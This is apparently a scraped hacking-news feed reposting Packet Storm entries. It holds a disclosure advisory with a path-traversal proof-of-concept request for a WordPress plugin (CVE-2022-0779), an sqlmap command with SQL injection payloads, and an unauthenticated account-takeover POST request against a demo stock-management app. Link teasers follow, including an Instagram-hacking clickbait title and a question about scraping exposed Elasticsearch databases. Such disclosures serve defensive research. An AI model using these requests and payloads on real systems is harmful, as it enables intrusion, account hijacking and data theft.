Exploit Collector
WordPress User Meta Lite / Pro 2.4.3 Path Traversal

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
WordPress User Meta Lite and Pro plugin versions 2.4.3 and below suffer from a path traversal vulnerability.

SHA-256 | 9f5dfc7d061a12ed0156906753e063fd8b488898a8f4b2709039a9ee6f78125f

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: User Meta
Vendor URL: https://wordpress.org/plugins/user-meta
Type: Relative Path Traversal [CWE-23]
Date found: 2022-02-28
Date published: 2022-05-24
CVSSv3 Score: 4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CVE: CVE-2022-0779
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
User Meta Lite 2.4.3 and below
User Meta Pro 2.4.3 and below
4. INTRODUCTION
===============
An easy-to-use user profile and management plugin for WordPress that allows
user login, reset-password, profile update and user registration with extra
fields, all on front-end and many more. User Meta Pro is a versatile user
profile builder and user management plugin for WordPress that has the most
features on the market. User Meta aims to be your only go to plugin for
user management.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The WordPress ajax action "um_show_uploaded_file" is vulnerable to an
authenticated path traversal when user-supplied input to the HTTP POST
parameter "filepath" is processed by the web application. Since the application
does not properly validate and sanitize this parameter, it is possible to
enumerate local server files using a blind approach. This is because the
application doesn't return the contents of the referenced file but instead
returns different form elements based on whether a file exists or not.

The following Proof-of-Concept triggers this vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 147
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [your-wordpress-auth-cookies]
Connection: close

field_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true
6. RISK
=======
The vulnerability can be used by an authenticated attacker to enumerate
local server files based on a blind approach.
7. SOLUTION
===========
Update to User Meta/User Meta Pro 2.4.4
8. REPORT TIMELINE
==================
2022-02-28: Discovery of the vulnerability
2022-02-28: WPScan (CNA) assigns CVE-2022-0779
2022-03-03: Contacted the vendor via their contact form
2022-03-06: Vendor response, acknowledgement of the issue
2022-03-18: Version 2.4.2 is released
2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.
2022-04-13: No response, contacted vendor again
2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.
2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.
2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine
2022-05-16: Fix seems to work
2022-05-24: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Ingredient Stock Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 812877405ea0e76d72d7e4772f6c9f533edc2df0d65201ce055c9b60f7795d4d

Download
# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :
----------------------

Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in
/isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database
# Vulnerable Code :

line 74 in file "/isms/admin/stocks/view_stock.php"

$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{$id}' order by date(`date`) asc");

# Sqlmap command:

sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yluX'='yluX

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 Account Takeover

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Ingredient Stock Management System version 1.0 suffers from an account takeover vulnerability.

SHA-256 | ec7348c7ea40981571b3542540ba691bc12790f80da7ef325b3c3e3a10db0a85

Download
# Exploit Title: Ingredient Stock Management System v1.0 - Account Takeover (Unauthenticated)
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :

----------------------

Ingredient Stock Management System v1.0 is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters
# HTTPS Request :

POST /isms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------89160456138077069512415726555
Content-Length: 1023
Origin: http://localhost
Connection: close
Referer: http://localhost/isms/admin/?page=user/manage_user
Cookie: PHPSESSID=mia3uiom2s9bdtif290t6v1el2

-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="id"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="firstname"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="middlename"
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="lastname"

hi
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="username"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="password"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="type"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------89160456138077069512415726555--
====
URL Login : http://localhost/isms/admin/login.php

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
6 Steps to Ensure Cyber Resilience

To minimize the impact of cyber incidents, organizations must be pragmatic and develop a strategy of resilience for dealing with break-ins, advanced malware, and data theft.

Hacking on Medium
Top YouTube Channels for Cybersecurity

Here is the list of top Cybersecurity YouTube channels recommended for every cybersecurity enthusiast.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Social Engineering: Menschen hacken

https://cdn-images-1.medium.com/max/612/1*m6kpeVaR4im3BQ-sTJKQJA.jpeg
Originalpost auf: byte-sized.de

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to Hack Instagram Account in 3 Just Steps | 100% Secure & Safe

https://cdn-images-1.medium.com/max/800/0*nl8LimfUzJXGZK48.jpeg
How to Hack Instagram Account in 3 Steps | 100% Secure & Safe

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 3 Crypto Biggest Crash

https://cdn-images-1.medium.com/max/978/1*K50nppIUjiEQStGdJGa2yw.png
Good morning everyone!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
¿Acceso a aplicaciones de terceros es el nuevo archivo ejecutable?

https://cdn-images-1.medium.com/max/990/0*A7jm72Pohl1eNRwT
PUBLICADO EN 30 MAYO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
¡Cuidado! Detectan un nuevo exploit de Zero Day de Microsoft Office

https://cdn-images-1.medium.com/max/1591/0*3Tmhh_bldeul8SpP
PUBLICADO EN 30 MAYO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Elastic search databases on Shodan

Does anybody collect data from open elastic search databases? I have in the past using shodan and the elastic search crawler script, but I'm not too knowledgeable in parsing data. What's the best way to organize and search data sets? Any recommendations?

submitted by /u/ItsAllPartofTheShow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video